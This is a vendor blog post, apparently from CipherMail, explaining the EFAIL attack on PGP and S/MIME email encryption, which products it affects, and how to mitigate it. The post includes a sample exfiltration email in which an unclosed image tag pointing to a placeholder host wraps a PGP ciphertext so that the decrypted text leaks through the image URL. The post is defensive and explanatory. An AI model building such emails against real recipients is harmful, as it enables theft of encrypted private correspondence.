EFAIL: which is vulnerable? PGP, S/MIME or your mail client?
What is EFAIL?
EFAIL is a recent attack on PGP en S/MIME email encryption (EFAIL).
EFAIL exploits remote content resolving built into most email clients (like for example images and CSS rules) to get (parts) of a previously encrypted email.
What EFAIL basically does, is that it takes a previously encrypted email (for which the attacker does not have the private key) and embeds this encrypted email into a new email in a special way. The email is then sent to the recipient for decryption. The attacker however designed the email in a way that the decrypted content of the original email gets embedded into the URL for a remote resource (for example an image). If the email client is configured to automatically resolve external content (for example download images), the content of the email gets sent to the remote server as a URL request. If the remote server is under control of the attacker, or if the URL is sent via HTTP, the attacker can access the URL and therefore has access to the plain text content of the original email.
Two forms of attack
EFAIL described two forms of attack: Direct exfiltration and Generic exfiltration.
With "Direct exfiltration", the email client is tricked into embedding the decrypted message into the URL of an image URL.
Take for example the following email:
MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------BOUNDARY" --------------BOUNDARY Content-Type: text/html; <img src="http://www.example.com/ --------------BOUNDARY Content-Type: text/plain; -----BEGIN PGP MESSAGE----- Charset: ISO-8859-1 Version: GnuPG v1.4.11 (GNU/Linux) hQEMA4qqZxiq3q9/AQf/bNb91v6gBd2UE9FF4PcyoCBEA95GQyom/xrRB9dl44xp [SNIP] nHDNjX1d8QF9V4Q22MCImLA= =i3mI -----END PGP MESSAGE----- --------------BOUNDARY Content-Type: text/html; Content-Transfer-Encoding: 7bit "> --------------BOUNDARY--
An email client is vulnerable to the "Direct exfiltration" attack if the above email, afer decryption, ends up as follows:
MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------BOUNDARY" This is a multi-part message in MIME format. --------------BOUNDARY Content-Type: text/html; Content-Transfer-Encoding: 7bit <img src="http://www.example.com/ Decrypted text ">
Because the IMG URL did not contain a final quote, the decrypted text "Decrypted text" is now part of the IMG URL. If the email client now tries to download the image, it sends the decrypted text to the remote server.
The CipherMail email encryption gateway is not vulnerable to the "Direct exfiltration" attack. CipherMail will create a valid email with correct mail parts. CipherMail will create the following email from the above "Direct exfiltration" attack:
MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------BOUNDARY" This is a multi-part message in MIME format. --------------BOUNDARY Content-Type: text/html; Content-Transfer-Encoding: 7bit <img src="http://www.example.com/ --------------BOUNDARY Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Decrypted text --------------BOUNDARY Content-Type: text/html; Content-Transfer-Encoding: 7bit "> --------------BOUNDARY--
The decrypted inline PGP message is added as a separate MIME part and not embedded into the other part. The decrypted message is therefore not part of the first HTML part and will therefore not be embedded into a URL. For S/MIME, PGP/MIME this works similarly.
The "Generic exfiltration" attack is more difficult to exploit. With the "Generic exfiltration" attack, the encrypted message is modified in such a way that the resulting message becomes an HTML email containing an image pointing to an URL containing the encrypted message. S/MIME seems to be vulnerable to this attack because in general, a signed message starts with a known header. However, you still need a mail client that resolves remote content. Signing a message does not help because the attacker can remove the signature.
In general, the "Generic exfiltration" attack also works with PGP messages. However, PGP messages are less vulnerable if compression and Modification Detection Codes (MDC) are used. CipherMail by default compresses the email before encryption and CipherMail requires that the PGP message is protected with an MDC. If an MDC is not available or not correct, CipherMail will not decrypt the message. PGP messages decrypted with CipherMail are therefore not vulnerable to EFAIL even if the mail client automatically downloads external content.
CipherMail for Android
CipherMail for Android by default does not resolve external content. CipherMail for Android therefore is not vulnerable unless you manually activate the "Load external images" option.
The best way to mitigate the EFAIL attack is to configure your email client to not download external content. This is a sane thing to do anyway because downloading of remote content can be misused in different ways like for example to track recipients (using 1 pixel images).
Is EFAIL a problem with S/MIME and PGP or a problem with your email client? I certainly agree that the S/MIME standard should be improved to protect against message modification (i.e., protect agains the "Generic exfiltration" attack). The "Direct exfiltration" attack however, is more an email client issue and should therefore be fixed by the email clients.
CipherMail by itself is not directly vulnerable to EFAIL because CipherMail does not download remote content. The email client that shows the decrypted email however can still be vulnerable to EFAIL.
Messages decrypted by the CipherMail gateway are not vulnerable to the "Direct exfiltration" attack even if you use an email client which is vulnerable to the "Direct exfiltration" attack because CipherMail will always generate messages with correct MIME parts after decryption. PGP messages decrypted by CipherMail are also not vulnerable to the "Generic exfiltration" attack because a Modification Detection Code (MDC) is required and checked. If a message does not have the correct MDC, the message will not be decrypted.
S/MIME Messages decrypted by CipherMail might be be vulnerable to the "Generic exfiltration" attack if you use an email client which downloads remote content. It is therefore strongly recommended to disable automatic download of external resources in your email client. Allowing your email client to download external resources is a security issue by itself and it is therefore best to disable it.
We will do some further research to see if there are ways to protect S/MIME without having to wait for changes to the RFC standards.
For more information on how to detect if you are attacked with EFAIL see EFAIL: how to detect you are being attacked?